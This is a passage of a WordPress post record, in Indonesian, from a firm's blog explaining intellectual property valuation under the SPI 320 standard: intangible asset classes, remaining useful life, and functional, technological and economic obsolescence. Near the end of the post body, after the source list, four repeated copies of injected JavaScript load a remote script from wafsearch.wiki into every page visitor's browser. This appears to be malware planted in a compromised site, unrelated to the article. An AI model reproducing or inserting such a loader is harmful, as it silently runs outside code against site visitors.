style=\"font-weight: 500\">Peningkatan persaingan;<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Perubahan permintaan dan ekspektasi pasar;<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Peningkatan e&#8217;siensi dari peralatan baru;<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Harga peralatan baru yang lebih murah;<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Peningkatan fungsional dari peralatan baru;<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Aset Takberwujud tidak berfungsi seperti yangdiharapkan.<\/span><\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<p style=\"padding-left: 40px\"><b>b. Keusangan Teknologi<\/b><span style=\"font-weight: 500\"><br \/>\n<\/span><span style=\"font-weight: 500\">Keusangan Teknologi merupakan penurunan nilai Aset Takberwujud karena:<\/span><\/p>\n<ol>\n<li style=\"list-style-type: none\">\n<ol>\n<li style=\"list-style-type: none\">\n<ol>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Kapasitas Aset Takberwujud baru yang lebih tinggi dari Aset Takberwujud lama;<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Fungsi-fungsi teknis yang berubah;<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Ketertinggalan teknologi.<\/span><\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<p style=\"padding-left: 40px\"><b>c. Keusangan Ekonomis<\/b><span style=\"font-weight: 500\"><br \/>\n<\/span><span style=\"font-weight: 500\">Keusangan Ekonomis disebabkan oleh faktor-faktor eksternal, antara lain:<\/span><\/p>\n<ol>\n<li style=\"list-style-type: none\">\n<ol>\n<li style=\"list-style-type: none\">\n<ol>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Perubahan dalam tingkat persaingan;<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Perubahan lokasi yang tidak sesuai dengan kontrak yang mendasari Aset Takberwujud;<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Perubahan regulasi atau peraturan perundang-undangan yang berlaku (regulatory and legislative changes);<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Perubahan kondisi sosial dan ekonomi;<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Masa penggunaan Aset Takberwujud;<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Isu lingkungan hidup; dan<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Industri dimana Aset Takberwujud tersebut digunakan.<\/span><\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<p style=\"padding-left: 40px\"><span style=\"font-weight: 500\">Dalam penerapan Pendekatan Biaya, biaya setiap komponen dalam penciptaan sebuah aset, termasuk keuntungan pengembang harus diperkirakan menggunakan pengetahuan yang dimiliki pada tanggal penilaian.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><strong>Jika Anda membutuhkan informasi lebih lanjut mengenai valuasi Kekayaan Intelektual, jangan ragu untuk mengubungi kami melalui <a href=\"mailto:affa@cbn.net.id\">affa@cbn.net.id<\/a><\/strong><span style=\"font-weight: 500\"><strong>.<\/strong>\u00a0<\/span><\/p>\n<p>[dt_divider style=&#8221;thin&#8221; \/]<\/p>\n<p><strong>Sumber:\u00a0<\/strong><\/p>\n<ul>\n<li style=\"font-weight: 500\"><a href=\"https:\/\/www.brin.go.id\/news\/117093\/tingkatkan-kompetensi-valuator-sebagai-upaya-perlindungan-terhadap-kekayaan-intelektual-1\"><span style=\"font-weight: 500\">Badan Riset dan Inovasi Nasional (BRIN)<\/span><\/a><\/li>\n<li style=\"font-weight: 500\"><a href=\"https:\/\/www.scribd.com\/document\/381137265\/SPI-320-Penilaian-Aset-Takberwujud\"><span style=\"font-weight: 500\">Standar Penilaian Indonesia 320<\/span><\/a><\/li>\n<\/ul>\n<p>var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Praktek Valuasi Kekayaan Intelektual di Indonesia Mengukur nilai Kekayaan Intelektual (KI) sebagai upaya perlindungan terhadap karya intelektual bukanlah perkara yang mudah. Seringkali perhitungan yang dilakukan belum sepenuhnya mencerminkan potensi\u00a0 sebernarnya dari aset intelektual tersebut. Misalnya apakah besaran royalti yang diterima merupakan faktor penilaian yang mutlak? Apakah faktor originalitas (originality) lebih berharga dari kebaruan (novelty)? Atau apakah semakin mendekati berakhirnya masa perlindungan, KI tersebut akan semakin kecil nilainya? &nbsp; Mengingat valuasi ini juga penting dalam pemberian kredit, dimana Pemerintah tengah menggalakkan pemberian kredit perbankan untuk para pemilik Kekayaan Intelektual untuk menggerakkan ekonomi nasional, pada Desember 2023 Badan Riset dan Inovasi Nasional (BRIN) sebagai lembaga riset yang banyak bersinggungan dengan KI telah menggelar &#8220;Kick Off Peran Valuator Kekayaan Intelektual dalam Pemanfaatan Hasil Riset dan Inovasi.&#8221; Kegiatan ini diselenggarakan atas kerja sama BRIN dengan Kementerian Hukum dan Hak Asasi Manusia dan World Intellectual Property Organization (WIPO). &nbsp; Manfaat Valuasi Kekayaan Intelektual Valuasi KI sangat berguna jika Anda melakukan aktivitas berikut ini: Merger dan Akuisisi Penjualan dan\/atau Pembelian Litigasi\/Mencari Pihak yang Merugikan dalam Penyelesaian Membuat Laporan Keuangan Alokasi Harga Pembelian Mencari Pendanaan\/Pembiayaan dengan KI sebagai jaminan fidusia Lisensi &amp; Identifikasi Nilai Portofolio Kekayaan Intelektual Waralaba (Biaya\/Royalti Waralaba Awal) &nbsp; SPI 320 &#8211; Landasan Penilaian Aset Takberwujud Pada artikel sebelumnya kami telah menjabarkan bagaimana Lembaga Manajemen Kolektif Nasional (LKMN) dapat berperan aktif dalam membantu penilaian dan perantara, jika terjadi gagal bayar untuk kredit yang berbasis Hak Cipta. Namun sebenarnya untuk Hak Ciptan dan KI lainnya yang sifatnya sebagai benda bergerak tak berwujud yang memiliki nilai ekonomi (identifiable intangible asset), Indonesia telah memiliki Standar Penilaian Indonesia (SPI) yang wajib dijadikan acuan bagi semua Penilai yang melakukan kegiatan penilaian di Indonesia. Sifat wajib ini diatur dalam Kode Etik Penilai Indonesia (KEPI). SPI ditetapkan oleh Organisasi Profesi Penilai Indonesia yang lebih dikenal sebagai Masyarakat Profesi Penilai Indonesia (MAPPI) dan dibuat berdasarkan International Valuation Standards (IVS) versi 2013 yang dikeluarkan oleh IVS Council yang bermarkas di London, Inggris. &nbsp; Klasifikasi Aset Takberwujud Berdasarkan SPI 320 1. Aset Takberwujud Terkait Pemasaran (Marketing Related Intangible Assets) Aset Takberwujud yang terkait dengan pemasaran terutama digunakanpada pemasaran atau promosi produk ataupun jasa. Contohnya meliputi Merek, Desain Industri, dan Nama Domain. &nbsp; 2. Aset Takberwujud Terkait Pelanggan (Customer Related Intangible Assets) Aset Takberwujud yang terkait dengan pelanggan atau pemasok yang muncul dari hubungan ataupun pengetahuan tentang pelanggan atau pun pemasok. Contohnya meliputi perjanjian jasa atau pemasok, perjanjian lisensi atau royalti, serta Rahasia Dagang yang mencakup daftar pesanan, perjanjian tenaga kerja, hingga hubungan pelanggan. &nbsp; 3. Aset Takberwujud Terkait Seni (Artistic Related Intangible Assets) Aset Takberwujud yang terkait dengan seni muncul dari hak untuk mendapatkan keuntungan seperti royalti dari pekerjaan seni seperti drama, buku, film, dan musik, serta muncul juga dari perlindungan Hak Cipta yang tidak bersifat kontraktual. &nbsp; 4. Aset Takberwujud Terkait Kontrak Perusahaan (Contract Related intangible Assets) Aset Takberwujud yang timbul dari perjanjian kontraktual, yang mengandung hak dan kewajiban hukum. Aset ini biasanya berasal dari kontrak perjanjian lisensi, perjanjian waralaba, atau kontrak pelanggan, yang memiliki nilai besar bagi suatu bisnis. Contohnya termasuk perjanjian lisensi untuk produk perangkat lunak yang banyak digunakan, perjanjian waralaba yang memberikan hak eksklusif, atau kontrak pelanggan yang menjamin aliran pendapatan berkelanjutan. &nbsp; 5. Aset Takberwujud Terkait Teknologi (Technology Related Intangible Assets) Aset Takberwujud yang terkait dengan teknologi yang muncul dari hak kontraktual ataupun non-kontraktual untuk menggunakan teknologi yang di-Paten-kan, teknologi yang belum dipatenkan, formula, Hak Cipta yang mencakup aplikasi dan desain, serta Rahasia Dagang yang berupa resep. &nbsp; 6. Aset Takberwujud yang Berasal dari Proses Penelitian dan Pengembangan (In Process Research and Development\/IPR&amp;D Intangible Assets) Proyek penelitian dan pengembangan (litbang) yang sedang berlangsung yang belum mencapai penyelesaian atau komersialisasi. Aset-aset ini berharga bagi perusahaan yang mengantisipasi inovasi dan kemajuan teknologi di masa depan. Aset litbang Kekayaan Intelektual ini dapat mencakup produk, prototipe, atau proyek yang belum dirilis dalam berbagai tahap pengembangan. &nbsp; Faktor-Faktor yang Dipertimbangkan oleh Penilai: 1. Hak-hak, keistimewaan, atau kondisi yang melekat pada Hak Kepemilikan. Hak kepemilikan dapat dinyatakan dalam berbagai dokumenlegal. Di dalam yurisdiksi hukum, dokumen ini biasa disebut Paten, Merek, cap, pengetahuan, basis data, Hak Cipta,\u00a0 dan lain sebagainya. Pemilik hak terikat oleh dokumen yang mencatat hak-haknya atas Aset Takberwujud. Hak-hak dan kondisi-kondisi terdapat dalam perjanjian atau pertukaran korespondensi, dan hak-hak tersebut dapat atau tidak dapat dipindahkan kepadapemilik hak yang baru. &nbsp; 2. Sisa umur ekonomis dan\/atau umur hukum (masa berlaku) Aset Takberwujud. Dalam hal digunakan Pendekatan Pendapatan untuk Aset Takberwujud, maka periode Informasi Keuangan Prospektif harus sama dengan Sisa Masa Manfaat Aset Takberwujud yang menjadi obyek penilaian. Dalam hal digunakan Pendekatan Pasar, maka periode obyek pembanding adalah sebanding dan sejenis dengan Sisa Masa Manfaat Aset Takberwujud yang menjadi obyek penilaian. Dalam hal digunakan Pendekatan biaya, maka Sisa Masa Manfaat digunakan untuk menghitung keusangan dari Aset Takberwujud yang menjadi obyek penilaian. Faktor-faktor yang digunakan dalam mengukur Sisa Masa Manfaat dari Aset Takberwujud berdasarkan antara lain: a. Umur Hukum (Legal Life); Berasal dari umur Paten, Merek, atau Hak Cipta, yang memberikan perlindungan hukum dari kompetisi. &nbsp; b. Umur Kontrak (Contractual Life); Berasal dari umur perjanjian dengan pelanggan, perjanjian franchise, perjanjian sewa menyewa, atau perjanjian lainnya antara pemberi tugas dengan pihak ketiga. &nbsp; c. Kondisi Fisik (Physical Determinants); Sisa Masa Manfaat Aset Takberwujud dihitung berdasarkan kondisi fisik aset berwujud yang merupakan bagian yang tidak terpisahkan dari Aset Takberwujud. &nbsp; d. Umur Ekonomis (Economic Life); Umur Ekonomis dapat diperoleh melalui: 1. Metode Multiperiod Excess Earnings Method (MEEM); Dalam metode ini, Penilai harus terlebih dahulu untuk menghitung faktor keusangan (decay factor). Faktor keusangan dapat diperoleh dengan menggunakan eksponensial total umur dibagi negatif Sisa Masa Manfaat. 2. Metode Konvensi. Dalam metode ini, Penilai harus mengungkapkan dasar pertimbangan untuk menghasilkan nilai konvensi antara lain berupa data historis dan data industri. &nbsp; e. Keusangan Fungsi atau Teknologi (Functional or Technological Obsolescence); Menggunakan analisis siklus hidup (life cycle analysis) dengan mempertimbangkan perkembangan teknologi dan permintaan pasar secara historis dan dimasa yang akan datang. &nbsp; f. Analisis Khusus (Analitical). Penilai dapat menggunakan analisis kuantitatif untuk menghitung Sisa Masa Manfaat Aset Takberwujud berdasarkan studi atas pola kemunduran historis yang terkait dengan Aset Takberwujud sebanding<\/p>\n","protected":false},"author":1,"featured_media":4701,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[277],"tags":[309,310,314,317,318,325,333,335,339,363,298,305,307,308],"class_list":["post-4696","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-intellectual-property","tag-kekayaan-intelektual","tag-ki","tag-your-ip-is-our-expertise","tag-timing-is-everything","tag-trademark","tag-patent","tag-copyright","tag-hak-cipta","tag-paten","tag-ipr","tag-merek","tag-affa","tag-intellectual-property","tag-ip"],"_links":{"self":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/4696","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/comments?post=4696"}],"version-history":[{"count":0,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/4696\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media\/4701"}],"wp:attachment":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media?parent=4696"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/categories?post=4696"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/tags?post=4696"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}